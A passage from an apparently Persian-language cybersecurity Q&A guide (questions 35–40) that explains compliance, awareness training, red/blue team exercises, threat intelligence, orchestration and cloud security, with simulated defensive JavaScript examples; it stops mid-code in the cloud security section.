// سیستم هشدار و پاسخ به حوادث class SecurityIncidentResponse { constructor() { this.incidents = []; this.alertThresholds = { failedLogins: 5, suspiciousIPs: 3, dataAccess: 100 }; } // شناسایی حادثه detectIncident(event) { const incident = this.analyzeEvent(event); if (incident) { this.createIncident(incident); this.triggerResponse(incident); } } analyzeEvent(event) { switch (event.type) { case 'failed_login': return this.checkFailedLogins(event); case 'suspicious_ip': return this.checkSuspiciousIP(event); case 'data_access': return this.checkDataAccess(event); default: return null; } } checkFailedLogins(event) { const recentFailures = this.getRecentEvents('failed_login', event.userId, 300); // 5 دقیقه if (recentFailures.length >= this.alertThresholds.failedLogins) { return { type: 'brute_force_attack', severity: 'HIGH', description: `${recentFailures.length} failed login attempts for user ${event.userId}`, affectedUser: event.userId, sourceIP: event.ip, timestamp: new Date() }; } return null; } checkSuspiciousIP(event) { const ipHistory = this.getIPHistory(event.ip); if (ipHistory.countries.length > 2 && ipHistory.timeSpan < 3600) { // 1 ساعت return { type: 'impossible_travel', severity: 'MEDIUM', description: `IP ${event.ip} accessed from multiple countries`, sourceIP: event.ip, timestamp: new Date() }; } return null; } // ایجاد حادثه createIncident(incidentData) { const incident = { id: this.generateIncidentId(), ...incidentData, status: 'OPEN', assignee: null, timeline: [ { timestamp: new Date(), action: 'INCIDENT_CREATED', details: 'Incident automatically detected and created' } ] }; this.incidents.push(incident); this.logIncident(incident); return incident; } // پاسخ خودکار triggerResponse(incident) { switch (incident.type) { case 'brute_force_attack': this.blockIP(incident.sourceIP); this.lockUserAccount(incident.affectedUser); this.notifySecurityTeam(incident); break; case 'impossible_travel': this.flagIPForReview(incident.sourceIP); this.requireAdditionalAuth(incident.affectedUser); break; case 'data_breach': this.isolateAffectedSystems(incident.affectedSystems); this.notifyManagement(incident); this.preserveEvidence(incident); break; } } // اقدامات پاسخ blockIP(ip) { console.log(`🚫 Blocking IP: ${ip}`); // پیادهسازی block در firewall } lockUserAccount(userId) { console.log(`🔒 Locking user account: ${userId}`); // پیادهسازی قفل حساب کاربری } notifySecurityTeam(incident) { console.log(`📧 Notifying security team about incident: ${incident.id}`); // ارسال ایمیل/SMS به تیم امنیت } // بهروزرسانی حادثه updateIncident(incidentId, update) { const incident = this.incidents.find(i => i.id === incidentId); if (incident) { incident.timeline.push({ timestamp: new Date(), action: update.action, details: update.details, user: update.user }); if (update.status) { incident.status = update.status; } this.logIncident(incident); } } // گزارشگیری generateIncidentReport(incidentId) { const incident = this.incidents.find(i => i.id === incidentId); if (!incident) return null; return { incidentId: incident.id, type: incident.type, severity: incident.severity, description: incident.description, timeline: incident.timeline, duration: this.calculateDuration(incident), impact: this.assessImpact(incident), lessonsLearned: incident.lessonsLearned || [] }; } generateIncidentId() { return `INC-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`; } logIncident(incident) { console.log(`[INCIDENT] ${incident.id}: ${incident.description}`); } } // استفاده const incidentResponse = new SecurityIncidentResponse(); // شبیهسازی رویداد incidentResponse.detectIncident({ type: 'failed_login', userId: 'john_doe', ip: '192.168.1.100', timestamp: new Date() });
35. مفهوم Security Compliance چیست؟
پاسخ:
Security Compliance رعایت قوانین، مقررات، استانداردها و چارچوبهای امنیتی است که سازمانها موظف به پیروی از آنها هستند.
- GDPR: General Data Protection Regulation
- PCI DSS: Payment Card Industry Data Security Standard
- HIPAA: Health Insurance Portability and Accountability Act
- SOX: Sarbanes-Oxley Act
- ISO 27001: Information Security Management
- Data Minimization: حداقل دادههای لازم
- Consent Management: مدیریت رضایت
- Right to be Forgotten: حق فراموشی
- Data Portability: قابلیت انتقال داده
- Breach Notification: اطلاعرسانی نقض
// پیادهسازی GDPR Compliance class GDPRCompliance { constructor(database) { this.db = database; this.consentTypes = ['marketing', 'analytics', 'functional']; } // مدیریت رضایت async recordConsent(userId, consentData) { const consent = { userId: userId, consentTypes: consentData.types, timestamp: new Date(), ipAddress: consentData.ip, userAgent: consentData.userAgent, version: '1.0' }; await this.db.query( 'INSERT INTO user_consents (user_id, consent_data, created_at) VALUES (?, ?, ?)', [userId, JSON.stringify(consent), consent.timestamp] ); console.log(`Consent recorded for user ${userId}`); return consent; } // بررسی رضایت async checkConsent(userId, consentType) { const result = await this.db.query( 'SELECT consent_data FROM user_consents WHERE user_id = ? ORDER BY created_at DESC LIMIT 1', [userId] ); if (result.length === 0) return false; const consent = JSON.parse(result[0].consent_data); return consent.consentTypes.includes(consentType); } // حق دسترسی به داده (Right of Access) async exportUserData(userId) { const userData = { personalInfo: await this.getUserPersonalInfo(userId), activityLogs: await this.getUserActivityLogs(userId), consents: await this.getUserConsents(userId), exportDate: new Date().toISOString() }; // لاگگیری درخواست export await this.logDataAccess(userId, 'DATA_EXPORT'); return userData; } // حق فراموشی (Right to be Forgotten) async deleteUserData(userId, reason) { try { // شروع transaction await this.db.beginTransaction(); // حذف دادههای شخصی await this.db.query('DELETE FROM user_profiles WHERE user_id = ?', [userId]); await this.db.query('DELETE FROM user_preferences WHERE user_id = ?', [userId]); // anonymize کردن لاگها (نه حذف کامل) await this.db.query( 'UPDATE activity_logs SET user_id = NULL, anonymized = TRUE WHERE user_id = ?', [userId] ); // ثبت درخواست حذف await this.db.query( 'INSERT INTO deletion_requests (user_id, reason, processed_at) VALUES (?, ?, ?)', [userId, reason, new Date()] ); await this.db.commit(); console.log(`User data deleted for user ${userId}, reason: ${reason}`); return true; } catch (error) { await this.db.rollback(); throw error; } } // اطلاعرسانی نقض داده async reportDataBreach(breachData) { const breach = { id: this.generateBreachId(), description: breachData.description, affectedUsers: breachData.affectedUsers, dataTypes: breachData.dataTypes, discoveredAt: new Date(), severity: this.assessBreachSeverity(breachData), reportedToAuthority: false }; // ذخیره در پایگاه داده await this.db.query( 'INSERT INTO data_breaches (breach_id, breach_data, created_at) VALUES (?, ?, ?)', [breach.id, JSON.stringify(breach), breach.discoveredAt] ); // اطلاعرسانی در صورت لزوم (72 ساعت) if (breach.severity === 'HIGH') { await this.notifyDataProtectionAuthority(breach); await this.notifyAffectedUsers(breach); } return breach; } // ارزیابی شدت نقض assessBreachSeverity(breachData) { if (breachData.dataTypes.includes('financial') || breachData.dataTypes.includes('health') || breachData.affectedUsers > 1000) { return 'HIGH'; } if (breachData.affectedUsers > 100) { return 'MEDIUM'; } return 'LOW'; } // گزارش compliance async generateComplianceReport() { const report = { reportDate: new Date(), consentMetrics: await this.getConsentMetrics(), dataRequests: await this.getDataRequestMetrics(), breaches: await this.getBreachMetrics(), retentionCompliance: await this.checkRetentionCompliance() }; return report; } async getConsentMetrics() { const result = await this.db.query(` SELECT COUNT(*) as total_users, SUM(CASE WHEN consent_data LIKE '%marketing%' THEN 1 ELSE 0 END) as marketing_consent, SUM(CASE WHEN consent_data LIKE '%analytics%' THEN 1 ELSE 0 END) as analytics_consent FROM user_consents `); return result[0]; } generateBreachId() { return `BREACH-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`; } } // استفاده const gdprCompliance = new GDPRCompliance(database); // ثبت رضایت کاربر await gdprCompliance.recordConsent('user123', { types: ['functional', 'analytics'], ip: '192.168.1.1', userAgent: 'Mozilla/5.0...' });
36. مفهوم Security Awareness Training چیست؟
پاسخ:
Security Awareness Training فرآیند آموزش کارکنان و کاربران در مورد تهدیدات امنیتی، بهترین روشها و نحوه تشخیص و پاسخ به حملات سایبری است.
- Risk Recognition: تشخیص ریسکها
- Behavior Change: تغییر رفتار
- Incident Reporting: گزارش حوادث
- Compliance: رعایت مقررات
- Phishing Recognition: تشخیص فیشینگ
- Password Security: امنیت رمز عبور
- Social Engineering: مهندسی اجتماعی
- Data Protection: محافظت از داده
- Mobile Security: امنیت موبایل
// سیستم آموزش آگاهی امنیتی class SecurityAwarenessTraining { constructor() { this.trainingModules = []; this.userProgress = new Map(); this.phishingSimulations = []; } // ایجاد ماژول آموزشی createTrainingModule(moduleData) { const module = { id: this.generateModuleId(), title: moduleData.title, description: moduleData.description, content: moduleData.content, quiz: moduleData.quiz, duration: moduleData.duration, mandatory: moduleData.mandatory || false, createdAt: new Date() }; this.trainingModules.push(module); return module; } // ثبت نام کاربر در آموزش enrollUser(userId, moduleId) { const progress = { userId: userId, moduleId: moduleId, status: 'ENROLLED', startedAt: new Date(), completedAt: null, score: null, attempts: 0 }; const key = `${userId}-${moduleId}`; this.userProgress.set(key, progress); console.log(`User ${userId} enrolled in module ${moduleId}`); return progress; } // تکمیل ماژول completeModule(userId, moduleId, quizAnswers) { const key = `${userId}-${moduleId}`; const progress = this.userProgress.get(key); if (!progress) { throw new Error('User not enrolled in this module'); } const module = this.trainingModules.find(m => m.id === moduleId); const score = this.calculateQuizScore(module.quiz, quizAnswers); progress.attempts += 1; progress.score = score; progress.completedAt = new Date(); progress.status = score >= 80 ? 'COMPLETED' : 'FAILED'; // ارسال گواهی در صورت موفقیت if (progress.status === 'COMPLETED') { this.issueCertificate(userId, moduleId, score); } return progress; } // شبیهسازی فیشینگ createPhishingSimulation(simulationData) { const simulation = { id: this.generateSimulationId(), name: simulationData.name, template: simulationData.template, targetUsers: simulationData.targetUsers, scheduledAt: simulationData.scheduledAt, results: [], status: 'SCHEDULED' }; this.phishingSimulations.push(simulation); // برنامهریزی ارسال this.schedulePhishingEmail(simulation); return simulation; } // ارسال ایمیل فیشینگ شبیهسازی شده schedulePhishingEmail(simulation) { setTimeout(() => { simulation.targetUsers.forEach(userId => { this.sendPhishingEmail(userId, simulation); }); simulation.status = 'SENT'; }, simulation.scheduledAt - Date.now()); } sendPhishingEmail(userId, simulation) { const trackingId = this.generateTrackingId(); // شبیهسازی ارسال ایمیل console.log(`Sending phishing simulation to user ${userId}`); // ثبت ارسال simulation.results.push({ userId: userId, trackingId: trackingId, sentAt: new Date(), clicked: false, reported: false }); } // ثبت کلیک روی لینک فیشینگ recordPhishingClick(trackingId) { const simulation = this.phishingSimulations.find(s => s.results.some(r => r.trackingId === trackingId) ); if (simulation) { const result = simulation.results.find(r => r.trackingId === trackingId); result.clicked = true; result.clickedAt = new Date(); // ارسال آموزش فوری this.sendImmediateTraining(result.userId); console.log(`User ${result.userId} clicked phishing link - immediate training sent`); } } // گزارش آگاهی امنیتی generateAwarenessReport() { const report = { reportDate: new Date(), trainingMetrics: this.getTrainingMetrics(), phishingMetrics: this.getPhishingMetrics(), complianceStatus: this.getComplianceStatus() }; return report; } getTrainingMetrics() { const totalUsers = new Set([...this.userProgress.keys()].map(k => k.split('-')[0])).size; const completedTrainings = [...this.userProgress.values()].filter(p => p.status === 'COMPLETED').length; const averageScore = this.calculateAverageScore(); return { totalUsers, completedTrainings, completionRate: (completedTrainings / totalUsers * 100).toFixed(2), averageScore }; } getPhishingMetrics() { const totalSimulations = this.phishingSimulations.length; const totalEmails = this.phishingSimulations.reduce((sum, s) => sum + s.results.length, 0); const totalClicks = this.phishingSimulations.reduce((sum, s) => sum + s.results.filter(r => r.clicked).length, 0); const totalReports = this.phishingSimulations.reduce((sum, s) => sum + s.results.filter(r => r.reported).length, 0); return { totalSimulations, totalEmails, clickRate: totalEmails > 0 ? (totalClicks / totalEmails * 100).toFixed(2) : 0, reportRate: totalEmails > 0 ? (totalReports / totalEmails * 100).toFixed(2) : 0 }; } calculateQuizScore(quiz, answers) { let correct = 0; quiz.questions.forEach((question, index) => { if (question.correctAnswer === answers[index]) { correct++; } }); return Math.round((correct / quiz.questions.length) * 100); } generateModuleId() { return `MODULE-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; } generateSimulationId() { return `SIM-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; } generateTrackingId() { return `TRACK-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`; } } // استفاده const awarenessTraining = new SecurityAwarenessTraining(); // ایجاد ماژول آموزشی const phishingModule = awarenessTraining.createTrainingModule({ title: "Phishing Recognition", description: "Learn to identify and respond to phishing attacks", content: "...", quiz: { questions: [ { question: "What is a common sign of a phishing email?", options: ["Urgent language", "Spelling errors", "Suspicious links", "All of the above"], correctAnswer: 3 } ] }, duration: 30, mandatory: true }); // ثبت نام کاربر awarenessTraining.enrollUser('user123', phishingModule.id);
37. مفهوم Red Team vs Blue Team چیست؟
پاسخ:
Red Team vs Blue Team رویکردی در امنیت سایبری است که شامل دو تیم مخالف برای تست و بهبود دفاعهای امنیتی سازمان است.
- نقش: شبیهسازی مهاجمان
- هدف: نفوذ به سیستمها
- روشها: Penetration Testing، Social Engineering
- ابزارها: Metasploit، Cobalt Strike، Custom Tools
- نقش: دفاع و نظارت
- هدف: تشخیص و مقابله با حملات
- روشها: Monitoring، Incident Response
- ابزارها: SIEM، IDS/IPS، Forensics Tools
- نقش: همکاری Red و Blue Team
- هدف: بهبود مشترک دفاعها
- روشها: Collaborative Testing
// شبیهسازی Red Team vs Blue Team Exercise class RedBlueTeamExercise { constructor() { this.redTeamActions = []; this.blueTeamDetections = []; this.timeline = []; this.score = { red: 0, blue: 0 }; } // Red Team Actions redTeamRecon(target) { const action = { type: 'RECONNAISSANCE', target: target, timestamp: new Date(), detected: false, techniques: ['DNS enumeration', 'Port scanning', 'OSINT gathering'] }; this.redTeamActions.push(action); this.timeline.push({ timestamp: action.timestamp, team: 'RED', action: `Reconnaissance on ${target}`, stealth: true }); // شانس تشخیص پایین برای reconnaissance if (Math.random() < 0.2) { this.blueTeamDetect(action); } return action; } redTeamInitialAccess(method) { const action = { type: 'INITIAL_ACCESS', method: method, timestamp: new Date(), detected: false, success: Math.random() < 0.7 // 70% شانس موفقیت }; this.redTeamActions.push(action); this.timeline.push({ timestamp: action.timestamp, team: 'RED', action: `Initial access attempt via ${method}`, success: action.success }); if (action.success) { this.score.red += 10; // شانس تشخیص بالاتر برای initial access if (Math.random() < 0.4) { this.blueTeamDetect(action); } } return action; } redTeamLateralMovement(fromHost, toHost) { const action = { type: 'LATERAL_MOVEMENT', fromHost: fromHost, toHost: toHost, timestamp: new Date(), detected: false, techniques: ['Pass-the-Hash', 'RDP', 'WMI'] }; this.redTeamActions.push(action); this.timeline.push({ timestamp: action.timestamp, team: 'RED', action: `Lateral movement from ${fromHost} to ${toHost}` }); // شانس تشخیص متوسط if (Math.random() < 0.3) { this.blueTeamDetect(action); } return action; } // Blue Team Detection blueTeamDetect(redAction) { const detection = { type: 'DETECTION', detectedAction: redAction.type, timestamp: new Date(), confidence: Math.random() * 100, source: this.getDetectionSource(redAction.type) }; redAction.detected = true; this.blueTeamDetections.push(detection); this.score.blue += 5; this.timeline.push({ timestamp: detection.timestamp, team: 'BLUE', action: `Detected ${redAction.type}`, confidence: detection.confidence.toFixed(1) }); // اقدام پاسخ this.blueTeamRespond(detection); return detection; } blueTeamRespond(detection) { const response = { type: 'RESPONSE', trigger: detection.detectedAction, timestamp: new Date(), actions: this.getResponseActions(detection.detectedAction) }; this.timeline.push({ timestamp: response.timestamp, team: 'BLUE', action: `Response to ${detection.detectedAction}`, actions: response.actions }); this.score.blue += 3; return response; } getDetectionSource(actionType) { const sources = { 'RECONNAISSANCE': ['Network monitoring', 'DNS logs'], 'INITIAL_ACCESS': ['Endpoint detection', 'Email security'], 'LATERAL_MOVEMENT': ['Network segmentation', 'Host monitoring'], 'PRIVILEGE_ESCALATION': ['Privilege monitoring', 'System logs'], 'DATA_EXFILTRATION': ['DLP', 'Network monitoring'] }; return sources[actionType] || ['Generic monitoring']; } getResponseActions(actionType) { const responses = { 'RECONNAISSANCE': ['Block suspicious IPs', 'Increase monitoring'], 'INITIAL_ACCESS': ['Isolate affected host', 'Reset credentials'], 'LATERAL_MOVEMENT': ['Network segmentation', 'Disable accounts'], 'PRIVILEGE_ESCALATION': ['Privilege review', 'System hardening'], 'DATA_EXFILTRATION': ['Block data transfer', 'Forensic analysis'] }; return responses[actionType] || ['Generic response']; } // شبیهسازی تمرین کامل runExercise() { console.log('🔴 Red Team vs Blue Team Exercise Started'); // Red Team Campaign this.redTeamRecon('target-corp.com'); setTimeout(() => { this.redTeamInitialAccess('Phishing email'); }, 1000); setTimeout(() => { this.redTeamLateralMovement('workstation-01', 'server-01'); }, 2000); setTimeout(() => { this.generateExerciseReport(); }, 3000); } generateExerciseReport() { const report = { exerciseDate: new Date(), duration: '3 hours', redTeamActions: this.redTeamActions.length, blueTeamDetections: this.blueTeamDetections.length, detectionRate: (this.blueTeamDetections.length / this.redTeamActions.length * 100).toFixed(1), score: this.score, timeline: this.timeline, recommendations: this.generateRecommendations() }; console.log('\n📊 Exercise Report:'); console.log(`Red Team Actions: ${report.redTeamActions}`); console.log(`Blue Team Detections: ${report.blueTeamDetections}`); console.log(`Detection Rate: ${report.detectionRate}%`); console.log(`Final Score - Red: ${this.score.red}, Blue: ${this.score.blue}`); return report; } generateRecommendations() { const recommendations = []; const detectionRate = this.blueTeamDetections.length / this.redTeamActions.length; if (detectionRate < 0.5) { recommendations.push('Improve monitoring coverage'); recommendations.push('Enhance detection rules'); } if (this.score.red > this.score.blue) { recommendations.push('Strengthen incident response procedures'); recommendations.push('Increase security awareness training'); } return recommendations; } } // اجرای تمرین const exercise = new RedBlueTeamExercise(); exercise.runExercise();
38. مفهوم Cyber Threat Intelligence چیست؟
پاسخ:
Cyber Threat Intelligence (CTI) فرآیند جمعآوری، تحلیل و به اشتراکگذاری اطلاعات در مورد تهدیدات سایبری فعلی و آینده است.
- Strategic: اطلاعات سطح بالا برای تصمیمگیری
- Tactical: TTPs (Tactics, Techniques, Procedures)
- Operational: اطلاعات حملات در حال انجام
- Technical: IOCs (Indicators of Compromise)
- Open Source: منابع عمومی
- Commercial: فیدهای تجاری
- Government: منابع دولتی
- Internal: دادههای داخلی سازمان
// سیستم Cyber Threat Intelligence class ThreatIntelligence { constructor() { this.indicators = []; this.threatActors = []; this.campaigns = []; this.feeds = []; } // اضافه کردن IOC addIndicator(iocData) { const ioc = { id: this.generateIOCId(), type: iocData.type, // IP, domain, hash, etc. value: iocData.value, confidence: iocData.confidence, severity: iocData.severity, source: iocData.source, firstSeen: new Date(), lastSeen: new Date(), tags: iocData.tags || [], context: iocData.context }; this.indicators.push(ioc); this.enrichIndicator(ioc); return ioc; } // غنیسازی IOC async enrichIndicator(ioc) { switch (ioc.type) { case 'ip': ioc.enrichment = await this.enrichIP(ioc.value); break; case 'domain': ioc.enrichment = await this.enrichDomain(ioc.value); break; case 'hash': ioc.enrichment = await this.enrichHash(ioc.value); break; } } async enrichIP(ip) { // شبیهسازی enrichment از منابع مختلف return { geolocation: await this.getIPGeolocation(ip), reputation: await this.getIPReputation(ip), whois: await this.getWhoisInfo(ip), asn: await this.getASNInfo(ip) }; } async enrichDomain(domain) { return { whois: await this.getDomainWhois(domain), dns: await this.getDNSRecords(domain), reputation: await this.getDomainReputation(domain), certificates: await this.getSSLCertificates(domain) }; } // جستجوی IOC searchIndicators(query) { return this.indicators.filter(ioc => { return ioc.value.includes(query) || ioc.tags.some(tag => tag.includes(query)) || (ioc.context && ioc.context.includes(query)); }); } // تحلیل الگوهای حمله analyzeAttackPatterns() { const patterns = {}; this.indicators.forEach(ioc => { ioc.tags.forEach(tag => { if (!patterns[tag]) { patterns[tag] = { count: 0, indicators: [], firstSeen: ioc.firstSeen, lastSeen: ioc.lastSeen }; } patterns[tag].count++; patterns[tag].indicators.push(ioc.value); if (ioc.firstSeen < patterns[tag].firstSeen) { patterns[tag].firstSeen = ioc.firstSeen; } if (ioc.lastSeen > patterns[tag].lastSeen) { patterns[tag].lastSeen = ioc.lastSeen; } }); }); return patterns; } // تولید گزارش تهدید generateThreatReport(timeframe = 7) { const cutoffDate = new Date(); cutoffDate.setDate(cutoffDate.getDate() - timeframe); const recentIndicators = this.indicators.filter(ioc => ioc.firstSeen >= cutoffDate ); const report = { reportDate: new Date(), timeframe: `${timeframe} days`, summary: { totalIndicators: recentIndicators.length, byType: this.groupByType(recentIndicators), bySeverity: this.groupBySeverity(recentIndicators), topTags: this.getTopTags(recentIndicators) }, trends: this.analyzeTrends(recentIndicators), recommendations: this.generateRecommendations(recentIndicators) }; return report; } groupByType(indicators) { const groups = {}; indicators.forEach(ioc => { groups[ioc.type] = (groups[ioc.type] || 0) + 1; }); return groups; } groupBySeverity(indicators) { const groups = {}; indicators.forEach(ioc => { groups[ioc.severity] = (groups[ioc.severity] || 0) + 1; }); return groups; } getTopTags(indicators) { const tagCounts = {}; indicators.forEach(ioc => { ioc.tags.forEach(tag => { tagCounts[tag] = (tagCounts[tag] || 0) + 1; }); }); return Object.entries(tagCounts) .sort(([,a], [,b]) => b - a) .slice(0, 10) .map(([tag, count]) => ({ tag, count })); } // ادغام فیدهای خارجی async ingestThreatFeed(feedUrl, feedType) { try { console.log(`Ingesting threat feed from: ${feedUrl}`); // شبیهسازی دریافت فید const feedData = await this.fetchFeedData(feedUrl); feedData.indicators.forEach(indicator => { this.addIndicator({ ...indicator, source: feedUrl, feedType: feedType }); }); console.log(`Ingested ${feedData.indicators.length} indicators from ${feedUrl}`); } catch (error) { console.error(`Error ingesting feed ${feedUrl}:`, error.message); } } // تشخیص تهدیدات در لاگها scanLogsForThreats(logEntries) { const threats = []; logEntries.forEach(logEntry => { this.indicators.forEach(ioc => { if (logEntry.includes(ioc.value)) { threats.push({ timestamp: new Date(), logEntry: logEntry, matchedIOC: ioc, severity: ioc.severity, confidence: ioc.confidence }); } }); }); return threats; } generateIOCId() { return `IOC-${Date.now()}-${Math.random().toString(36).substr(2, 8)}`; } // شبیهسازی توابع enrichment async getIPGeolocation(ip) { return { country: 'US', city: 'New York', lat: 40.7128, lon: -74.0060 }; } async getIPReputation(ip) { return { score: Math.floor(Math.random() * 100), category: 'malware' }; } async fetchFeedData(url) { // شبیهسازی دریافت فید return { indicators: [ { type: 'ip', value: '192.168.1.100', confidence: 85, severity: 'high', tags: ['malware', 'botnet'] } ] }; } } // استفاده const threatIntel = new ThreatIntelligence(); // اضافه کردن IOC threatIntel.addIndicator({ type: 'ip', value: '192.168.1.100', confidence: 90, severity: 'high', source: 'internal_analysis', tags: ['malware', 'c2'], context: 'Observed in network traffic communicating with known C2 server' }); // تولید گزارش const report = threatIntel.generateThreatReport(7); console.log('Threat Intelligence Report:', report);
39. مفهوم Security Orchestration چیست؟
پاسخ:
Security Orchestration فرآیند هماهنگسازی و خودکارسازی فعالیتهای امنیتی مختلف برای بهبود کارایی و سرعت پاسخ به تهدیدات است.
- Workflow Automation: خودکارسازی گردش کار
- Tool Integration: ادغام ابزارها
- Incident Response: پاسخ به حوادث
- Threat Hunting: شکار تهدید
- Faster Response: پاسخ سریعتر
- Consistency: یکنواختی فرآیندها
- Reduced Manual Work: کاهش کار دستی
- Better Coordination: هماهنگی بهتر
// سیستم Security Orchestration class SecurityOrchestration { constructor() { this.workflows = []; this.integrations = new Map(); this.playbooks = []; this.activeIncidents = []; } // ثبت ادغام ابزار registerIntegration(toolName, apiConfig) { this.integrations.set(toolName, { name: toolName, apiEndpoint: apiConfig.endpoint, apiKey: apiConfig.apiKey, capabilities: apiConfig.capabilities, status: 'active' }); console.log(`Integration registered: ${toolName}`); } // ایجاد Playbook createPlaybook(playbookData) { const playbook = { id: this.generatePlaybookId(), name: playbookData.name, description: playbookData.description, trigger: playbookData.trigger, steps: playbookData.steps, createdAt: new Date(), version: '1.0' }; this.playbooks.push(playbook); return playbook; } // اجرای Playbook async executePlaybook(playbookId, triggerData) { const playbook = this.playbooks.find(p => p.id === playbookId); if (!playbook) { throw new Error('Playbook not found'); } const execution = { id: this.generateExecutionId(), playbookId: playbookId, startTime: new Date(), status: 'RUNNING', steps: [], context: triggerData }; console.log(`Executing playbook: ${playbook.name}`); try { for (const step of playbook.steps) { const stepResult = await this.executeStep(step, execution.context); execution.steps.push(stepResult); // بهروزرسانی context برای مراحل بعدی execution.context = { ...execution.context, ...stepResult.output }; } execution.status = 'COMPLETED'; execution.endTime = new Date(); } catch (error) { execution.status = 'FAILED'; execution.error = error.message; execution.endTime = new Date(); } return execution; } // اجرای مرحله async executeStep(step, context) { const stepExecution = { stepName: step.name, startTime: new Date(), status: 'RUNNING', input: context, output: {} }; try { switch (step.type) { case 'api_call': stepExecution.output = await this.executeAPICall(step, context); break; case 'condition': stepExecution.output = this.evaluateCondition(step, context); break; case 'notification': stepExecution.output = await this.sendNotification(step, context); break; case 'data_enrichment': stepExecution.output = await this.enrichData(step, context); break; default: throw new Error(`Unknown step type: ${step.type}`); } stepExecution.status = 'COMPLETED'; } catch (error) { stepExecution.status = 'FAILED'; stepExecution.error = error.message; } stepExecution.endTime = new Date(); return stepExecution; } // اجرای فراخوانی API async executeAPICall(step, context) { const integration = this.integrations.get(step.tool); if (!integration) { throw new Error(`Integration not found: ${step.tool}`); } // شبیهسازی فراخوانی API console.log(`Calling ${step.tool} API: ${step.action}`); switch (step.action) { case 'block_ip': return { blocked_ip: context.suspicious_ip, status: 'blocked' }; case 'quarantine_file': return { quarantined_file: context.malicious_file, status: 'quarantined' }; case 'disable_user': return { disabled_user: context.compromised_user, status: 'disabled' }; default: return { action: step.action, status: 'completed' }; } } // ارزیابی شرط evaluateCondition(step, context) { const condition = step.condition; let result = false; // شبیهسازی ارزیابی شرط if (condition.field && condition.operator && condition.value) { const fieldValue = context[condition.field]; switch (condition.operator) { case 'equals': result = fieldValue === condition.value; break; case 'greater_than': result = fieldValue > condition.value; break; case 'contains': result = fieldValue && fieldValue.includes(condition.value); break; } } return { condition_result: result }; } // ارسال اعلان async sendNotification(step, context) { const notification = { type: step.notification_type, recipient: step.recipient, message: this.formatMessage(step.message_template, context), timestamp: new Date() }; console.log(`Sending ${notification.type} to ${notification.recipient}`); console.log(`Message: ${notification.message}`); return { notification_sent: true, notification_id: this.generateNotificationId() }; } // غنیسازی داده async enrichData(step, context) { const enrichmentType = step.enrichment_type; const targetField = step.target_field; const value = context[targetField]; // شبیهسازی غنیسازی let enrichedData = {}; switch (enrichmentType) { case 'ip_reputation': enrichedData = { reputation_score: Math.floor(Math.random() * 100), country: 'US', is_malicious: Math.random() < 0.3 }; break; case 'file_analysis': enrichedData = { file_type: 'executable', is_malware: Math.random() < 0.4, threat_family: 'trojan' }; break; } return { [`${targetField}_enriched`]: enrichedData }; } // Playbook نمونه برای پاسخ به حمله فیشینگ createPhishingResponsePlaybook() { return this.createPlaybook({ name: 'Phishing Email Response', description: 'Automated response to phishing email detection', trigger: 'phishing_email_detected', steps: [ { name: 'Quarantine Email', type: 'api_call', tool: 'email_security', action: 'quarantine_email' }, { name: 'Check User Interaction', type: 'condition', condition: { field: 'user_clicked', operator: 'equals', value: true } }, { name: 'Reset User Password', type: 'api_call', tool: 'identity_management', action: 'force_password_reset' }, { name: 'Notify Security Team', type: 'notification', notification_type: 'email', recipient: '[email protected]', message_template: 'Phishing email detected from {sender_email}. User {target_user} may be compromised.' }, { name: 'Block Sender Domain', type: 'api_call', tool: 'email_security', action: 'block_domain' } ] }); } formatMessage(template, context) { return template.replace(/\{(\w+)\}/g, (match, key) => { return context[key] || match; }); } generatePlaybookId() { return `PB-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; } generateExecutionId() { return `EX-${Date.now()}-${Math.random().toString(36).substr(2, 8)}`; } generateNotificationId() { return `NOT-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; } } // استفاده const orchestration = new SecurityOrchestration(); // ثبت ادغامها orchestration.registerIntegration('email_security', { endpoint: 'https://api.emailsec.com', apiKey: 'secret-key', capabilities: ['quarantine_email', 'block_domain'] }); orchestration.registerIntegration('identity_management', { endpoint: 'https://api.identity.com', apiKey: 'secret-key', capabilities: ['force_password_reset', 'disable_user'] }); // ایجاد Playbook const phishingPlaybook = orchestration.createPhishingResponsePlaybook(); // اجرای Playbook orchestration.executePlaybook(phishingPlaybook.id, { sender_email: '[email protected]', target_user: '[email protected]', user_clicked: true, email_id: 'email-12345' }).then(result => { console.log('Playbook execution completed:', result); });
40. مفهوم Cloud Security چیست؟
پاسخ:
Cloud Security مجموعهای از سیاستها، تکنولوژیها، کنترلها و خدماتی است که برای محافظت از دادهها، برنامهها و زیرساختهای ابری استفاده میشود.
- IaaS: مشتری مسئول OS، برنامهها، دادهها
- PaaS: مشتری مسئول برنامهها، دادهها
- SaaS: مشتری مسئول دادهها، کاربران
- Data Privacy: حریم خصوصی داده
- Compliance: انطباق با مقررات
- Identity Management: مدیریت هویت
- Network Security: امنیت شبکه
- Incident Response: پاسخ به حوادث
// Cloud Security Implementation class CloudSecurityManager { constructor(cloudProvider) { this.provider = cloudProvider; this.securityPolicies = []; this.complianceChecks = []; this.incidents = []; } // پیکربندی امنیت شبکه configureNetworkSecurity(vpcConfig) { const networkSecurity = { vpc: { id: vpcConfig.vpcId, cidr: vpcConfig.cidr, enableDnsHostnames: true, enableDnsSupport: true }, securityGroups: this.createSecurityGroups(vpcConfig.securityGroups), nacls: this.createNetworkACLs(vpcConfig.nacls), flowLogs: { enabled: true, destination: 'cloudwatch', trafficType: 'ALL' } }; console.log('Network security configured:', networkSecurity); return networkSecurity; } createSecurityGroups(sgConfigs) { return sgConfigs.map(config => ({ id: this.generateSGId(), name: config.name, description: config.description, inboundRules: config.inboundRules.map(rule => ({ protocol: rule.protocol, port: rule.port, source: rule.source, description: rule.description })), outboundRules: config.outboundRules.map(rule => ({ protocol: rule.protocol, port: rule.port, destination: rule.destination, description: rule.description })) })); } // مدیریت هویت و دسترسی configureIAM(iamConfig) { const iamSetup = { users: this.createIAMUsers(iamConfig.users), roles: this.createIAMRoles(iamConfig.roles), policies: this.createIAMPolicies(iamConfig.policies), mfaEnabled: true, passwordPolicy: { minimumLength: 12, requireUppercase: true, requireLowercase: true, requireNumbers: true, requireSymbols: true, maxAge: 90 } }; console.log('IAM configured:', iamSetup); return iamSetup; } createIAMPolicies(policyConfigs) { return policyConfigs.map(config => ({ name: config.name, description: config.description, document: { Version: 